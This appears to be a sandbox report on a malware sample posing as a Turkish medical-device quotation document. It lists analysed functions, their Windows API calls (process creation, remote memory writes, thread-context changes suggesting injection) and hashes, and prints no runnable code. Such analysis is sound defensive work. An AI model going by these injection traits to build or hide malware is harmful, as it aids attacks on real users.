Function 076D6A9D Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 076D6CDE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 467740f6ad1b09aeb571359695c28705bf6fbfe6988e36c989bf3d7200ef9fba
Instruction ID: 061741486245b67c082dee6d09261d530b572a50992482acb6f476f9d48510a3
Opcode Fuzzy Hash: 467740f6ad1b09aeb571359695c28705bf6fbfe6988e36c989bf3d7200ef9fba
Instruction Fuzzy Hash: 80A16EB1D1031ACFEB14DF68C851BDDBBB2BF48350F1481A9D80AA7280DB749995CF91

Function 076D6AA8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 076D6CDE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 361f8a119603aa3857f18cf4ccf0bffddbee689df374e20f7be4e47d29cd7146
Instruction ID: a3575992e23cad451deefa00d578d7403940dc692b8ba6517a898b1473bf8fc7
Opcode Fuzzy Hash: 361f8a119603aa3857f18cf4ccf0bffddbee689df374e20f7be4e47d29cd7146
Instruction Fuzzy Hash: 8A915BB1D10319DFEB24DF68C850BEDBBB2BF48350F1481A9E81AA7240DB749995CF91

Function 0557B1C8 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0557B41E

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f0c7ff214ec3e7c665e450fdbb44cb3474afd983f9d957357281d3226221a157
Instruction ID: 52e4ffe65540d776d5b424ff1eaeb78d4d2959b7499d9eedc2929b067a9e0316
Opcode Fuzzy Hash: f0c7ff214ec3e7c665e450fdbb44cb3474afd983f9d957357281d3226221a157
Instruction Fuzzy Hash: B2714870A00B098FDB24DF69E5457AABBF2FF88214F00892ED446D7B50EB35E845CB95

Function 0557590C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 055759C9

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3f7ee0aa1e4d7bf93989728e5d61fb21d7380cfd5089425cb8df0c3c6dd25e3b
Instruction ID: 0cb52e8805d186dbe40d08d6c88308b50b7b9112d4967265f68b5b12f400d281
Opcode Fuzzy Hash: 3f7ee0aa1e4d7bf93989728e5d61fb21d7380cfd5089425cb8df0c3c6dd25e3b
Instruction Fuzzy Hash: AE41BFB1C007598BEB24DFA9C884B9EBBF5BB48304F24806AD409AB251DB756946CF54

Function 055744B0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 055759C9

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 25bcdb7b94c1e86844dd6fd06e941395a8091588f972c7a8035363fb20fb201c
Instruction ID: caacda855d4fb05a717d71e7f739874368cdeb8aebd85018e6152dc803999dbd
Opcode Fuzzy Hash: 25bcdb7b94c1e86844dd6fd06e941395a8091588f972c7a8035363fb20fb201c
Instruction Fuzzy Hash: F841C071C0071DCBEB24DFA9C884B9DBBF5BF48304F20806AD409AB251DB756945CF94

Function 07B22E50 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1331090408.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b20000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: d48dec63c0a5f294485fa81fd5757eebbe71ea6ca4f6496b54e5eb8b03e06382
Instruction ID: af3435ea00961ee4f3e85f8286825bbfcbd732c262b2d9e489450a7aa029a3f8
Opcode Fuzzy Hash: d48dec63c0a5f294485fa81fd5757eebbe71ea6ca4f6496b54e5eb8b03e06382
Instruction Fuzzy Hash: BB319EB29003599FDB12DFA9C804ADEBFF5EF08310F14805AE554E7261C3359851DFA1

Function 076D6819 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 076D68B0

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 54944ee9cf3f6f402fa642bbc8d4d037bb0197bfbf71e73fcf9eb2508d064090
Instruction ID: 33dc4464066566a52b7e19c3a60820d0ff36d7afbf2d6b6e70c4fecc861997af
Opcode Fuzzy Hash: 54944ee9cf3f6f402fa642bbc8d4d037bb0197bfbf71e73fcf9eb2508d064090
Instruction Fuzzy Hash: F92124B2D10319DFDB10CFA9C880BEEBBF5BF48310F10842AE919A7250C7789954CBA5

Function 076D6820 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 076D68B0

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b9a70805b45e2d51f09c38194b26019e9764bfc79126e348cce7d137c400f289
Instruction ID: d4908dcdfa231a89504930b090e4f582d3fbda723e4d608077ee51d50324bd7b
Opcode Fuzzy Hash: b9a70805b45e2d51f09c38194b26019e9764bfc79126e348cce7d137c400f289
Instruction Fuzzy Hash: DE2115B1D103199FDB10CFAAC884BEEBBF5BF48310F10842AE919A7240C7789954CBA5

Function 076D6248 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076D62CE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 467b9e8a0f59a7ea19c5f3698d40e9359f0109dc842c39b671b4df253b5b5804
Instruction ID: 56d615eca7412c69088d1bd3e74442631fea76600429d2d93296167582b403e3
Opcode Fuzzy Hash: 467b9e8a0f59a7ea19c5f3698d40e9359f0109dc842c39b671b4df253b5b5804
Instruction Fuzzy Hash: EB2159B1D103098FDB14CFAAC881BEEBBF4AF88314F14842ED419A7241D7789945CFA5

Function 0557B0B4 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0557D66E,?,?,?,?,?), ref: 0557D72F

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 82da0925b51bd4b509a895f32c90d33f626334fdc91fd14ece7d6a17044a3f32
Instruction ID: 4e77b351af62b80641b9bc0ae5edab0e24b3fa24004b46d91eb5396fed88711c
Opcode Fuzzy Hash: 82da0925b51bd4b509a895f32c90d33f626334fdc91fd14ece7d6a17044a3f32
Instruction Fuzzy Hash: C121D4B59002489FDB10CF9AD484AEEBBF5FB48310F14841AE915A7350D379A954CFA5

Function 076D6909 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 076D6990

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2ef0d04f6b6d2f9891f5fa406ee92e42dbed821a944a7aa1ea6813642689c108
Instruction ID: 5cd9889e2aa8028e77fa1175386998a34a21423b69724d281695f0bbde147f8c
Opcode Fuzzy Hash: 2ef0d04f6b6d2f9891f5fa406ee92e42dbed821a944a7aa1ea6813642689c108
Instruction Fuzzy Hash: 332136B1C003199FDB10CFAAC880BEEBBF5FF48310F10842AE519A7250C7789910CB65

Function 076D6250 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076D62CE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 41e2fb77c752b261800a085bc0c7c7b5d61b941bf213c8c70bb2971b882d520a
Instruction ID: c49ea9db0765241e00f3ce7bb2b71bffc041c5798419057fcf59e7d42ce285c2
Opcode Fuzzy Hash: 41e2fb77c752b261800a085bc0c7c7b5d61b941bf213c8c70bb2971b882d520a
Instruction Fuzzy Hash: 5F2138B1D103098FDB14DFAAC484BEEBBF4AF88314F14842AD459A7240DB789944CFA5

Function 076D6910 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 076D6990

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: dfd6877203a3c2f0f96a8d35d7c7e30b0124d8dc3a79c758d76bed3085c7e7f8
Instruction ID: 1b43926f14df6eddc9e1ef77518cd3814f0565bedd8f5d7ccbf022632e03ed6d
Opcode Fuzzy Hash: dfd6877203a3c2f0f96a8d35d7c7e30b0124d8dc3a79c758d76bed3085c7e7f8
Instruction Fuzzy Hash: 322128B1C003599FDB10DFAAC840BEEBBF5FF48310F10842AE959A7240C7799940CBA5

Function 0557D6A1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0557D66E,?,?,?,?,?), ref: 0557D72F

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 93bb8d9818937647847356ed6740519de0b7c7648757de765af4d976d2209634
Instruction ID: e8820b53b74ecca7f6af752e31ce746371e0a1531f0ab94fb177db489a109e2c
Opcode Fuzzy Hash: 93bb8d9818937647847356ed6740519de0b7c7648757de765af4d976d2209634
Instruction Fuzzy Hash: 5821E3B5D002489FDB10CFA9D584AEEBBF4FB48310F14841AE914A3350D378A954CF65

Function 07B208EC Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,07B22E6A,?,?,?,?,?), ref: 07B22F0F

Memory Dump Source

Source File: 00000000.00000002.1331090408.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b20000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: ecbb3dc5169615f8161f1d601c61f404fde137bf6830efdea2b7b10c68da8518
Instruction ID: 65bde3c5bde71ecc26927761affec68450d23f28edb80c4874fa8c8e9bebe0f1
Opcode Fuzzy Hash: ecbb3dc5169615f8161f1d601c61f404fde137bf6830efdea2b7b10c68da8518
Instruction Fuzzy Hash: D21129B680025D9FEB10DF9AC844BDEBFF8EB48310F14845AE918A7250C375A954DFA5

Function 076D6758 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 076D67CE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 53ba2182f7aa7c95644df6326aefc650b875bb8204d323d591ce16862533b2e9
Instruction ID: 1d112570c21c045d7b67e24bbb3e145bcad309ad4e16ff54683dae3a0e7a76bb
Opcode Fuzzy Hash: 53ba2182f7aa7c95644df6326aefc650b875bb8204d323d591ce16862533b2e9
Instruction Fuzzy Hash: 4D114772D00209DFDB10DFAAC844BEEBBF5AF88310F14881AE515A7250C7759944CFA5

Function 076D6760 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 076D67CE

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 92e18b8faa215fcbdeafbca3f7a511724a295b0997607b78f18c3a1969c7866f
Instruction ID: 1e2aa5bfde9681f3860e201e82360730a72252f4b0441ca99556923fc1f8bce8
Opcode Fuzzy Hash: 92e18b8faa215fcbdeafbca3f7a511724a295b0997607b78f18c3a1969c7866f
Instruction Fuzzy Hash: 64115672C003099FDB20DFAAC844BDFBBF5AF88310F10881AE515A7250C775A940CFA5

Function 076D6199 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 076D6202

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 651bf45f677e52a02b136526f16510ed45d22858c3dd8a717be8890944171db4
Instruction ID: 38e7a90f9b6a4036c5ebf394714a0fbd62138d5bc8fb3a863db895bb1e6f6fbf
Opcode Fuzzy Hash: 651bf45f677e52a02b136526f16510ed45d22858c3dd8a717be8890944171db4
Instruction Fuzzy Hash: B5115BB1D103498FDB24DFAAC4457EEFBF5AF88314F24841AD415A7240C7799940CFA5

Function 076D61A0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 076D6202

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7354e69212036f11c3711e6dd4ee5f5f3f81d90e830811c0c331a22cc9aef4fa
Instruction ID: 60e15f20980f9e28a49f3521fbb012d82e46b452ae57ca3066c16cbe4df0c996
Opcode Fuzzy Hash: 7354e69212036f11c3711e6dd4ee5f5f3f81d90e830811c0c331a22cc9aef4fa
Instruction Fuzzy Hash: 12113AB1D003488FDB24DFAAC4447DFFBF5AF88314F14841AD419A7240CB79A944CBA5

Function 076D9829 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 076D988D

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0fea3812c92494538929819a462e811180580ce89bb9a7a53ce8bc593ae6a7a6
Instruction ID: 6d4fee080247557e9c92e7366ca23de38e0c91388d6d10ca101354b67e4a83b4
Opcode Fuzzy Hash: 0fea3812c92494538929819a462e811180580ce89bb9a7a53ce8bc593ae6a7a6
Instruction Fuzzy Hash: E21106B5C003499FDB20DF9AD845BDEBBF8FB48710F10841AE559A7240C375A944CFA5

Function 0557B3B8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0557B41E

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d58d02f95f7ddcf708d129060b58fabc5ffab3b5631999b915bbd6b4598ca1bd
Instruction ID: 5e178bc777414a444f3a3f7d33a2907e54fa1bed7a0e2472f8f2234befeba50a
Opcode Fuzzy Hash: d58d02f95f7ddcf708d129060b58fabc5ffab3b5631999b915bbd6b4598ca1bd
Instruction Fuzzy Hash: 7011E0B6C002498FDB20CF9AD844BDEFBF5BB88324F14841AD819A7710D379A545CFA5

Function 076D3508 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 076D988D

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7548928ab0499ac7ec26b07c380176dd8c9eba7001794fd620f6b763c307a654
Instruction ID: 3f15023bb22d8dd199b86fbec05c7190a0448760b289e4584f87ad87ada09772
Opcode Fuzzy Hash: 7548928ab0499ac7ec26b07c380176dd8c9eba7001794fd620f6b763c307a654
Instruction Fuzzy Hash: 6211F5B5C103499FDB10DF9AD884BDEBBF8EB48310F10841AE919A7240C375A944CFA5

Function 016DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325500450.00000000016DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16dd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868eff02c1a7cb5e0cb45c8692b5525cfcb5144951de2cb992fcb4b7c24f9ea4
Instruction ID: c62c33799859797cad59ee5840fcf55701bf8383d14b18e2946d329e9b882040
Opcode Fuzzy Hash: 868eff02c1a7cb5e0cb45c8692b5525cfcb5144951de2cb992fcb4b7c24f9ea4
Instruction Fuzzy Hash: 2321D071A04200EFDB25EF64D984B16BBA5EBC8314F24C56DE90A4B396C336D447CAA2

Function 016DD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325500450.00000000016DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16dd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a1f9285ce02f20d99f7b213c3d3bf8381a5521a3d2bb084b006fb9fa32029bd
Instruction ID: d68a671eaefdd8c6b20c7b2811c20e93091c1b7652783587d68cc564bfbf82dc
Opcode Fuzzy Hash: 5a1f9285ce02f20d99f7b213c3d3bf8381a5521a3d2bb084b006fb9fa32029bd
Instruction Fuzzy Hash: AB21B071904204AFDB15EFA4D9C0B26BBA5FB84324F24C56DEA4A4B396C336D446CA61

Function 016DD005 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325500450.00000000016DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16dd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfb0c09c69c9159a385ccb64e6038d2bfaba0e492736a56da189d8e678f81e9d
Instruction ID: b940ab4ac0ef76440d4a5103d5dc609f5176b6a8cc751d9a86715ff295cd12b4
Opcode Fuzzy Hash: bfb0c09c69c9159a385ccb64e6038d2bfaba0e492736a56da189d8e678f81e9d
Instruction Fuzzy Hash: 672180755083809FCB12DF64D994711BF71EB86214F28C5EAD8498F6A7C33A9806CB62

Function 016DD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325500450.00000000016DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16dd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e020fc52024e7c20771691695641137c464337d5c785334117d46b726f4046fe
Instruction ID: 32a17890ee05a7c4805d25e0cc6da1b7b8f88ea8277f34ed956d3812133cd153
Opcode Fuzzy Hash: e020fc52024e7c20771691695641137c464337d5c785334117d46b726f4046fe
Instruction Fuzzy Hash: 1511BB75904280DFCB12DF54D9C4B15BBB1FB84324F24C6A9D9494B796C33AD40ACB61

Function 016CD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325433446.00000000016CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16cd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ea14f45f73751d30c23fc8123a506b5dc1f10a01b08617f430e70041791e7a2
Instruction ID: 6689cde14443f3fad980b0a53765231b3e8077485c72b79d53d5780ebc3e74fd
Opcode Fuzzy Hash: 6ea14f45f73751d30c23fc8123a506b5dc1f10a01b08617f430e70041791e7a2
Instruction Fuzzy Hash: 19018471404380AAE7205A65CD84B76BB98DF41A64F14852EED094B286D3799441CAF6

Function 016CD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1325433446.00000000016CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16cd000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a03a4b1b6584710cfce8b91677f64fc7e5db51a1ad2fe153d7341c8beeee4b5b
Instruction ID: f8a348105e43b62770ab1ad658bab9ce5b45407ee14a10ce6a6ecebcb329ab38
Opcode Fuzzy Hash: a03a4b1b6584710cfce8b91677f64fc7e5db51a1ad2fe153d7341c8beeee4b5b
Instruction Fuzzy Hash: DDF06271404384AEEB208E1ACD88B76FF98EB81634F18C55EED084B397C3799844CAB1

Non-executed Functions

Function 076D5978 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

+&, xrefs: 076D59D3

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: +&
API String ID: 0-986870808
Opcode ID: a9138fe97d6871602cbb75f0ce9b2a24d25f797fbb3b2c958d5177b5cbf35f0d
Instruction ID: 5e3637ba321abd3367c0c6d0ab3de492e67b7c87028e54961159aa130ae08bfe
Opcode Fuzzy Hash: a9138fe97d6871602cbb75f0ce9b2a24d25f797fbb3b2c958d5177b5cbf35f0d
Instruction Fuzzy Hash: D6E1E9B4E102198FDB14CFA9C590AAEBBF6FF89304F248169D816AB356D7349D41CF60

Function 076D5968 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

+&, xrefs: 076D59D3

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: +&
API String ID: 0-986870808
Opcode ID: 9aab0ef6747400bd0cfae98cbb2d4c7e0d937a3cb80f8f25682c52d4ca25e9cf
Instruction ID: 15a0448a5cdaee71acd3b0ffebe978e5962a1d70ec9758b6bfe1b0d021b5c73c
Opcode Fuzzy Hash: 9aab0ef6747400bd0cfae98cbb2d4c7e0d937a3cb80f8f25682c52d4ca25e9cf
Instruction Fuzzy Hash: 8F5108B4E102198FDB14CFA9C5809AEFBF6FF89304F248169D419AB656D7349D42CFA0

Function 076DB4C8 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

